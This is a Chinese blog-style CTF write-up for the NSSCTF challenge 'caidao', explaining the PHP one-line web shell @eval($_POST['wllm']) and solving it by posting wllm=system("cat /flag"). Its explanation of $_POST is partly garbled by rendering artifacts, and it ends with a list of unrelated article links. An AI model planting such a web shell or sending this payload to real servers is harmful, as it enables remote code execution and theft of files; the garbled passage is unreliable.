当前位置: 首页 > news >正文

NSSCTF练习记录:[SWPUCTF 2021 新生赛]caidao

题目:
在这里插入图片描述
图片上给出了代码,是php的一句话木马

@eval($_POST['wllm']);

@符号
@符号表示后面的语句即使执行错误,也不报错。

eval()函数
eval()函数的作用是把括号内的字符串全部当作php代码来执行。

** P O S T [ ′ w l l m ′ ] ∗ ∗ p o s t 方法是 h t m l 中 < f o r m > 标签中的方法,在页面中,所有的 P O S T 方法都会由 s u b m i t 输入方式向 a c t i o n 中的 p h p 文件返还信息,通常这样的 p h p 文件是连着数据库的,甚至可以直接对文件进行操作。当使用 < f o r m > 标签的 p o s t 方法时候,同时 < f o r m > 标签里面的 n a m e 属性等于 w l l m ,会在 p h p 文件中产生一个 POST['wllm']** post方法是html中<form>标签中的方法,在页面中,所有的POST方法都会由submit输入方式向action中的php文件返还信息,通常这样的php文件是连着数据库的,甚至可以直接对文件进行操作。当使用<form>标签的post方法时候,同时<form>标签里面的name属性等于wllm,会在php文件中产生一个 POST[wllm]post方法是html<form>标签中的方法,在页面中,所有的POST方法都会由submit输入方式向action中的php文件返还信息,通常这样的php文件是连着数据库的,甚至可以直接对文件进行操作。当使用<form>标签的post方法时候,同时<form>标签里面的name属性等于wllm,会在php文件中产生一个_POST[cmd]变量,变量中储存有用户提交的数据。

eval()函数配合$_POST变量输入的字符串来执行php语句,就可以达到操作数据库和服务器的效果。

直接用hackbar对页面POST参数

wllm=system("cat /flag");

然后左上角就出现flag了
在这里插入图片描述

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 介绍skyworking
  • windows 达梦到ORACLE dblink
  • NiFi :1 初识这把“十年一剑”的利器
  • Vue 生命周期选项:2.x 与 3.x 的全面解析及案例分享二
  • bug积累
  • Pycharm中重命名项目之后切换虚拟环境
  • 搜维尔科技:如何使用 SenseGlove Nova 在其“CAVE”投影室中操纵虚拟物体
  • 数据赋能(169)——开发:数据分析——实施过程、应用特点
  • 如何禁止网络爬虫
  • Flutter GPU 是什么?为什么它对 Flutter 有跨时代的意义?
  • Linux目录结构常用命令和文件管理解析
  • 【数据结构】线性表(线性表的定义和基本操作)
  • xss漏洞(三,xss进阶利用)
  • C语言----计算开机时间
  • 观成科技:海莲花活跃木马KSRAT加密通信分析
  • (ckeditor+ckfinder用法)Jquery,js获取ckeditor值
  • 【跃迁之路】【669天】程序员高效学习方法论探索系列(实验阶段426-2018.12.13)...
  • 2019年如何成为全栈工程师?
  • 230. Kth Smallest Element in a BST
  • jdbc就是这么简单
  • Laravel 菜鸟晋级之路
  • PHP 小技巧
  • Promise面试题,控制异步流程
  • SpiderData 2019年2月13日 DApp数据排行榜
  • 产品三维模型在线预览
  • 从 Android Sample ApiDemos 中学习 android.animation API 的用法
  • 从@property说起(二)当我们写下@property (nonatomic, weak) id obj时,我们究竟写了什么...
  • 第2章 网络文档
  • 机器学习中为什么要做归一化normalization
  • 罗辑思维在全链路压测方面的实践和工作笔记
  • 巧用 TypeScript (一)
  • 思维导图—你不知道的JavaScript中卷
  • 吐槽Javascript系列二:数组中的splice和slice方法
  • 与 ConTeXt MkIV 官方文档的接驳
  • 中国人寿如何基于容器搭建金融PaaS云平台
  • 阿里云重庆大学大数据训练营落地分享
  • (~_~)
  • (01)ORB-SLAM2源码无死角解析-(56) 闭环线程→计算Sim3:理论推导(1)求解s,t
  • (14)目标检测_SSD训练代码基于pytorch搭建代码
  • (27)4.8 习题课
  • (层次遍历)104. 二叉树的最大深度
  • (更新)A股上市公司华证ESG评级得分稳健性校验ESG得分年均值中位数(2009-2023年.12)
  • (黑马出品_高级篇_01)SpringCloud+RabbitMQ+Docker+Redis+搜索+分布式
  • (亲测有效)推荐2024最新的免费漫画软件app,无广告,聚合全网资源!
  • (十八)devops持续集成开发——使用docker安装部署jenkins流水线服务
  • (自用)learnOpenGL学习总结-高级OpenGL-抗锯齿
  • ... fatal error LINK1120:1个无法解析的外部命令 的解决办法
  • .NET Core WebAPI中使用swagger版本控制,添加注释
  • .NET Standard 的管理策略
  • .Net 访问电子邮箱-LumiSoft.Net,好用
  • .Net 基于.Net8开发的一个Asp.Net Core Webapi小型易用框架
  • .NET/C# 编译期间能确定的相同字符串,在运行期间是相同的实例
  • .NET/C# 使用反射注册事件
  • .Net组件程序设计之线程、并发管理(一)
  • @font-face 用字体画图标